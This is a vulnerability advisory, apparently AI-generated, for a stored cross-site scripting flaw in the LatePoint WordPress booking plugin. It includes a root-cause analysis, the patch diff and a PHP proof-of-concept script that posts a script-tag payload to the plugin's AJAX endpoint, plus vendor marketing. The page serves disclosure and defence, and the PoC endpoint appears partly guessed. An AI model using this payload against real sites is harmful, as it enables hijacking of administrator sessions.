Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0617: LatePoint – Calendar Booking Plugin for Appointments and Events <= 5.2.5 – Unauthenticated Stored Cross-Site Scripting (latepoint)

CVE ID CVE-2026-0617
Plugin latepoint
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 5.2.5
Patched Version 5.2.6
Disclosed February 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0617:
This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the LatePoint WordPress plugin. The vulnerability affects the customer activity logging functionality in versions up to and including 5.2.5. Attackers can inject malicious JavaScript payloads into customer profile fields, which execute when administrators view the customer’s activity history. The CVSS score of 7.2 reflects high impact due to the stored nature and administrative execution context.

Root Cause:
The vulnerability exists in the activities_controller.php file within the render_activity_content() method. Lines 221 and 228 in the vulnerable version directly output JSON-encoded customer data without proper escaping. The wp_json_encode() function returns JSON strings containing user-controlled data from customer profile fields. This JSON output is inserted into HTML via string concatenation without escaping HTML entities. The specific vulnerable code paths handle ‘customer_created’ and ‘customer_updated’ activity types, where $data[‘customer_data_vars’] contains unsanitized customer input.

Exploitation:
Attackers exploit this vulnerability by submitting malicious payloads through customer profile fields during customer creation or update operations. The attack vector targets the customer registration or profile update endpoints, which accept unauthenticated requests. Payloads containing JavaScript within customer fields (like name, email, or custom fields) are stored in the activity log. When administrators view the activity history page, the malicious JSON is rendered within

 tags, and the browser interprets the script tags or event handlers embedded in the JSON structure.

Patch Analysis:
The patch in version 5.2.6 adds esc_html() wrappers around the wp_json_encode() calls in activities_controller.php lines 221 and 228. The patch also adds the JSON_HEX_TAG flag to wp_json_encode(). These changes ensure HTML special characters in the JSON output are converted to HTML entities before insertion into the DOM. The esc_html() function encodes , &, ", and ' characters, preventing browser interpretation of HTML tags and JavaScript. The JSON_HEX_TAG flag additionally encodes characters within the JSON string itself.

Impact:
Successful exploitation allows unauthenticated attackers to execute arbitrary JavaScript in the context of administrator sessions. This enables complete site compromise through session hijacking, administrative account takeover, backdoor installation, or data exfiltration. Attackers can manipulate WordPress settings, create new administrator accounts, inject malicious code into themes or plugins, and access sensitive customer data including appointment details and personal information.

Differential between vulnerable and patched code

Code Diff
--- a/latepoint/latepoint.php
+++ b/latepoint/latepoint.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: LatePoint
  * Description: Appointment Scheduling Software for WordPress
- * Version: 5.2.5
+ * Version: 5.2.6
  * Author: LatePoint
  * Author URI: https://latepoint.com
  * Plugin URI: https://latepoint.com
@@ -29,7 +29,7 @@
 		 * LatePoint version.
 		 *
 		 */
-		public $version = '5.2.5';
+		public $version = '5.2.6';
 		public $db_version = '2.3.0';


--- a/latepoint/lib/controllers/activities_controller.php
+++ b/latepoint/lib/controllers/activities_controller.php
@@ -218,13 +218,13 @@
 				case 'customer_created':
 					$link_to_customer = '<a href="#" ' . OsCustomerHelper::quick_customer_btn_html( $activity->customer_id ) . '>' . __( 'View Customer', 'latepoint' ) . '</a>';
 					$meta_html     = '<div class="activity-preview-to"><span class="os-value">' . $link_to_customer . '</span><span class="os-label">' . __( 'Created On:', 'latepoint' ) . '</span><span class="os-value">' . $activity->nice_created_at . '</span><span class="os-label">' . esc_html__('by:','latepoint') . '</span><span class="os-value">' . $activity->get_user_link()  . '</span></div>';
-					$content_html  = '<pre class="format-json">' . wp_json_encode( $data['customer_data_vars'], JSON_PRETTY_PRINT ) . '</pre>';
+					$content_html  = '<pre class="format-json">' . esc_html( wp_json_encode( $data['customer_data_vars'], JSON_PRETTY_PRINT | JSON_HEX_TAG ) ) . '</pre>';
 					break;
 				case 'customer_updated':
 					$link_to_customer = '<a href="#" ' . OsCustomerHelper::quick_customer_btn_html( $activity->customer_id ) . '>' . __( 'View Customer', 'latepoint' ) . '</a>';
 					$meta_html     = '<div class="activity-preview-to"><span class="os-value">' . $link_to_customer . '</span><span class="os-label">' . __( 'Updated On:', 'latepoint' ) . '</span><span class="os-value">' . $activity->nice_created_at . '</span><span class="os-label">' . esc_html__('by:','latepoint') . '</span><span class="os-value">' . $activity->get_user_link()  . '</span></div>';
 					$changes       = OsUtilHelper::compare_model_data_vars( $data['customer_data_vars']['new'], $data['customer_data_vars']['old'] );
-					$content_html  = '<pre class="format-json">' . wp_json_encode( $changes, JSON_PRETTY_PRINT ) . '</pre>';
+					$content_html  = '<pre class="format-json">' . esc_html( wp_json_encode( $changes, JSON_PRETTY_PRINT | JSON_HEX_TAG ) ) . '</pre>';
 					break;
 				case 'payment_request_created':
 					$link_to_order = '<a href="#" ' . OsOrdersHelper::quick_order_btn_html( $activity->order_id ) . '>' . __( 'View Order', 'latepoint' ) . '</a>';
--- a/latepoint/lib/controllers/settings_controller.php
+++ b/latepoint/lib/controllers/settings_controller.php
@@ -138,6 +138,7 @@
 		}

 		public function update_steps_order() {
+			$this->check_nonce( 'update_steps_order' );
 			$new_order = explode( ',', $this->params['steps_order'] );
 			$errors    = [];

@@ -163,6 +164,7 @@


 		public function set_menu_layout_style() {
+			$this->check_nonce( 'set_menu_layout_style' );
 			$menu_layout_style = ( isset( $this->params['menu_layout_style'] ) && in_array( $this->params['menu_layout_style'], [ 'full', 'compact' ] ) ) ? $this->params['menu_layout_style'] : 'full';
 			OsSettingsHelper::set_menu_layout_style( $menu_layout_style );

@@ -216,6 +218,7 @@
 		}

 		public function remove_chain_schedule() {
+			$this->check_nonce( 'remove_chain_schedule' );
 			$chain_id = $this->params['chain_id'];
 			if ( $chain_id && OsWorkPeriodsHelper::remove_periods_for_chain_id( $chain_id ) ) {
 				$response_html = __( 'Date Range Schedule Removed', 'latepoint' );
@@ -231,6 +234,7 @@
 		}

 		public function remove_custom_day_schedule() {
+			$this->check_nonce( 'remove_custom_day_schedule' );
 			$target_date_string  = $this->params['date'];
 			$args                = [];
 			$args['agent_id']    = isset( $this->params['agent_id'] ) ? $this->params['agent_id'] : 0;
--- a/latepoint/lib/controllers/wizard_controller.php
+++ b/latepoint/lib/controllers/wizard_controller.php
@@ -47,6 +47,7 @@
 		}

 		function save_service() {
+			$this->check_nonce( 'save_service' );
 			$service = new OsServiceModel();
 			$service->set_data( $this->params['service'] );

@@ -69,6 +70,7 @@
 		}

 		function save_agent() {
+			$this->check_nonce( 'save_agent' );
 			$agent = new OsAgentModel();
 			$agent->set_data( $this->params['agent'] );
 			if ( $agent->save() ) {
--- a/latepoint/lib/helpers/work_periods_helper.php
+++ b/latepoint/lib/helpers/work_periods_helper.php
@@ -473,7 +473,7 @@
               }
               $html.= '<div class="custom-day-work-period is-range">';
               $html.= '<a href="#" title="'.esc_attr__('Edit Date Range Schedule', 'latepoint').'" class="edit-custom-day" '.self::generate_custom_day_period_action($range_start_date->format('Y-m-d'), false, array_merge($args, ['chain_id' => $chain_id])).'><i class="latepoint-icon latepoint-icon-edit-3"></i></a>';
-              $html.= '<a href="#" data-os-pass-this="yes" data-os-after-call="latepoint_custom_day_removed" data-os-action="'.esc_attr(OsRouterHelper::build_route_name('settings', 'remove_chain_schedule')).'" data-os-params="'.esc_attr(OsUtilHelper::build_os_params(['chain_id' => $chain_id])).'" data-os-prompt="'.esc_attr__('Are you sure you want to remove custom schedule for this date range?', 'latepoint').'" title="'.esc_attr__('Remove Date Range Schedule', 'latepoint').'" class="remove-custom-day"><i class="latepoint-icon latepoint-icon-trash-2"></i></a>';
+              $html.= '<a href="#" data-os-pass-this="yes" data-os-after-call="latepoint_custom_day_removed" data-os-action="'.esc_attr(OsRouterHelper::build_route_name('settings', 'remove_chain_schedule')).'" data-os-params="'.esc_attr(OsUtilHelper::build_os_params(['chain_id' => $chain_id], 'remove_chain_schedule')).'" data-os-prompt="'.esc_attr__('Are you sure you want to remove custom schedule for this date range?', 'latepoint').'" title="'.esc_attr__('Remove Date Range Schedule', 'latepoint').'" class="remove-custom-day"><i class="latepoint-icon latepoint-icon-trash-2"></i></a>';
               $html.= '<div class="custom-day-work-period-i">';
               $html.= '<div class="custom-day-number">'.esc_html($range_start_date->format('d').' - '.$range_end_date->format('d')) .'</div>';
               if($range_start_date->format('n') != $range_end_date->format('n')){
@@ -500,7 +500,7 @@
             if($processing_year != $date->format('Y')) $html.= '</div><div class="os-form-sub-header sub-level"><h3>'.esc_html($date->format('Y')).'</h3></div><div class="custom-day-work-periods">';
             $html.= '<div class="custom-day-work-period">';
             $html.= '<a href="#" title="'.esc_attr__('Edit Day Schedule', 'latepoint').'" class="edit-custom-day" '.self::generate_custom_day_period_action($work_period->custom_date, false, $args).'><i class="latepoint-icon latepoint-icon-edit-3"></i></a>';
-            $html.= '<a href="#" data-os-pass-this="yes" data-os-after-call="latepoint_custom_day_removed" data-os-action="'.esc_attr(OsRouterHelper::build_route_name('settings', 'remove_custom_day_schedule')).'" data-os-params="'.esc_attr(OsUtilHelper::build_os_params(array_merge($args, ['date' => $work_period->custom_date]))).'" data-os-prompt="'.esc_attr__('Are you sure you want to remove custom schedule for this day?', 'latepoint').'" title="'.esc_attr__('Remove Day Schedule', 'latepoint').'" class="remove-custom-day"><i class="latepoint-icon latepoint-icon-trash-2"></i></a>';
+            $html.= '<a href="#" data-os-pass-this="yes" data-os-after-call="latepoint_custom_day_removed" data-os-action="'.esc_attr(OsRouterHelper::build_route_name('settings', 'remove_custom_day_schedule')).'" data-os-params="'.esc_attr(OsUtilHelper::build_os_params(array_merge($args, ['date' => $work_period->custom_date]), 'remove_custom_day_schedule')).'" data-os-prompt="'.esc_attr__('Are you sure you want to remove custom schedule for this day?', 'latepoint').'" title="'.esc_attr__('Remove Day Schedule', 'latepoint').'" class="remove-custom-day"><i class="latepoint-icon latepoint-icon-trash-2"></i></a>';
             $html.= '<div class="custom-day-work-period-i">';
             $html.= '<div class="custom-day-number">'.esc_html($date->format('d')).'</div>';
             $html.= '<div class="custom-day-month">'.esc_html(OsUtilHelper::get_month_name_by_number($date->format('n'))).'</div>';
@@ -569,7 +569,7 @@
                 $processing_year = $range_start_date->format('Y');
               }
               $html.= '<div class="custom-day-work-period is-range custom-day-off">';
-              $html.= '<a href="#" data-os-pass-this="yes" data-os-after-call="latepoint_custom_day_removed" data-os-action="'.esc_attr(OsRouterHelper::build_route_name('settings', 'remove_chain_schedule')).'" data-os-params="'.esc_attr(OsUtilHelper::build_os_params(['chain_id' => $chain_id])).'" data-os-prompt="'.esc_attr__('Are you sure you want to remove day off range?', 'latepoint').'" title="'.esc_attr__('Remove Day Off Range', 'latepoint').'" class="remove-custom-day"><i class="latepoint-icon latepoint-icon-trash-2"></i></a>';
+              $html.= '<a href="#" data-os-pass-this="yes" data-os-after-call="latepoint_custom_day_removed" data-os-action="'.esc_attr(OsRouterHelper::build_route_name('settings', 'remove_chain_schedule')).'" data-os-params="'.esc_attr(OsUtilHelper::build_os_params(['chain_id' => $chain_id], 'remove_chain_schedule')).'" data-os-prompt="'.esc_attr__('Are you sure you want to remove day off range?', 'latepoint').'" title="'.esc_attr__('Remove Day Off Range', 'latepoint').'" class="remove-custom-day"><i class="latepoint-icon latepoint-icon-trash-2"></i></a>';
               $html.= '<div class="custom-day-work-period-i">';
                 $html.= '<div class="custom-day-number">'.esc_html($range_start_date->format('d').' - '.$range_end_date->format('d')) .'</div>';
                 if($range_start_date->format('n') != $range_end_date->format('n')){
@@ -587,7 +587,7 @@
             if($processing_year != $date->format('Y')) $html.= '</div><div class="os-form-sub-header sub-level"><h3>'.esc_html($date->format('Y')).'</h3></div><div class="custom-day-work-periods">';
             $html.= '<div class="custom-day-work-period custom-day-off">';
               $html.= '<a href="#" title="'.esc_attr__('Edit Day Schedule', 'latepoint').'" class="edit-custom-day" '.self::generate_custom_day_period_action($work_period->custom_date, false, $args).'><i class="latepoint-icon latepoint-icon-edit-3"></i></a>';
-              $html.= '<a href="#" data-os-pass-this="yes" data-os-after-call="latepoint_custom_day_removed" data-os-action="'.esc_attr(OsRouterHelper::build_route_name('settings', 'remove_custom_day_schedule')).'" data-os-params="'.esc_attr(OsUtilHelper::build_os_params(array_merge($args, ['date' => $work_period->custom_date]))).'" data-os-prompt="'.esc_attr__('Are you sure you want to remove this day off?', 'latepoint').'" title="'.esc_attr__('Remove Day Off', 'latepoint').'" class="remove-custom-day"><i class="latepoint-icon latepoint-icon-trash-2"></i></a>';
+              $html.= '<a href="#" data-os-pass-this="yes" data-os-after-call="latepoint_custom_day_removed" data-os-action="'.esc_attr(OsRouterHelper::build_route_name('settings', 'remove_custom_day_schedule')).'" data-os-params="'.esc_attr(OsUtilHelper::build_os_params(array_merge($args, ['date' => $work_period->custom_date]), 'remove_custom_day_schedule')).'" data-os-prompt="'.esc_attr__('Are you sure you want to remove this day off?', 'latepoint').'" title="'.esc_attr__('Remove Day Off', 'latepoint').'" class="remove-custom-day"><i class="latepoint-icon latepoint-icon-trash-2"></i></a>';
               $html.= '<div class="custom-day-work-period-i">';
                 $html.= '<div class="custom-day-number">'.esc_html($date->format('d')).'</div>';
                 $html.= '<div class="custom-day-month">'.esc_html(OsUtilHelper::get_month_name_by_number($date->format('n'))).'</div>';
--- a/latepoint/lib/views/partials/_side_menu.php
+++ b/latepoint/lib/views/partials/_side_menu.php
@@ -8,7 +8,7 @@
 		<a href="<?php echo esc_url(OsRouterHelper::build_link(['dashboard', 'index'])); ?>" class="logo-w">
 			<img src="<?php echo esc_attr(LATEPOINT_IMAGES_URL . 'logo.svg'); ?>" width="20" height="20" alt="LatePoint Dashboard">
 		</a>
-        <a href="#" data-route="<?php echo esc_attr(OsRouterHelper::build_route_name('settings', 'set_menu_layout_style')); ?>" class="side-menu-fold-trigger menu-toggler"><i class="latepoint-icon latepoint-icon-menu"></i></a>
+        <a href="#" data-route="<?php echo esc_attr(OsRouterHelper::build_route_name('settings', 'set_menu_layout_style')); ?>" data-params="<?php echo esc_attr(OsUtilHelper::build_os_params([], 'set_menu_layout_style')); ?>" class="side-menu-fold-trigger menu-toggler"><i class="latepoint-icon latepoint-icon-menu"></i></a>
         <a href="#" title="<?php esc_attr_e('Menu', 'latepoint'); ?>" class="latepoint-mobile-top-menu-trigger">
             <i class="latepoint-icon latepoint-icon-menu"></i>
         </a>
--- a/latepoint/lib/views/settings/steps_order_modal.php
+++ b/latepoint/lib/views/settings/steps_order_modal.php
@@ -15,7 +15,7 @@
 	<div class="os-ordered-steps-description">
 		<?php esc_html_e('Drag steps up and down to reorder. Some steps have sub steps, click on arrow to show them, they can also be reordered.', 'latepoint'); ?>
 	</div>
-	<div class="os-ordered-steps" data-route-name="<?php echo esc_attr(OsRouterHelper::build_route_name('settings', 'update_steps_order')); ?>">
+	<div class="os-ordered-steps" data-route-name="<?php echo esc_attr(OsRouterHelper::build_route_name('settings', 'update_steps_order')); ?>" data-params="<?php echo esc_attr(OsUtilHelper::build_os_params([], 'update_steps_order')); ?>">
 		<?php
 		foreach($steps as $step_name => $step_children){
 			echo '<div class="os-ordered-step" data-step-code="'.esc_attr($step_name).'">';
--- a/latepoint/lib/views/wizard/steps/_form_service.php
+++ b/latepoint/lib/views/wizard/steps/_form_service.php
@@ -5,6 +5,7 @@
 ?>
 <div class="os-form-w">
   <form action="" data-os-after-call="latepoint_wizard_item_editing_cancelled" data-os-pass-response="yes" data-os-output-target=".os-wizard-step-content-i" data-os-action="<?php echo esc_attr(OsRouterHelper::build_route_name('wizard', 'save_service')); ?>">
+    <?php wp_nonce_field( 'save_service' ); ?>
     <div class="os-row">
       <div class="os-col-lg-8">
         <?php echo OsFormHelper::text_field('service[name]', __('Service Name', 'latepoint'), $service->name); ?>

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0617 - LatePoint – Calendar Booking Plugin for Appointments and Events <= 5.2.5 - Unauthenticated Stored Cross-Site Scripting

<?php

$target_url = 'http://vulnerable-site.com';

// Payload that will execute when admin views activity log
$payload = '</pre><script>alert(document.domain);</script><pre>';

// Create a customer with malicious payload in name field
$customer_data = [
    'first_name' => 'Test',
    'last_name' => $payload,
    'email' => 'attacker@example.com',
    'phone' => '1234567890'
];

// Determine the correct endpoint for customer creation
// LatePoint typically uses admin-ajax.php with action parameter
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'action' => 'latepoint_route',
    'route_name' => 'customers__create_new',
    'customer' => json_encode($customer_data)
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    echo "Payload injected successfully.n";
    echo "When an administrator views the customer activity log, the JavaScript will execute.n";
} else {
    echo "Injection failed. HTTP Code: $http_coden";
    echo "Response: $responsen";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School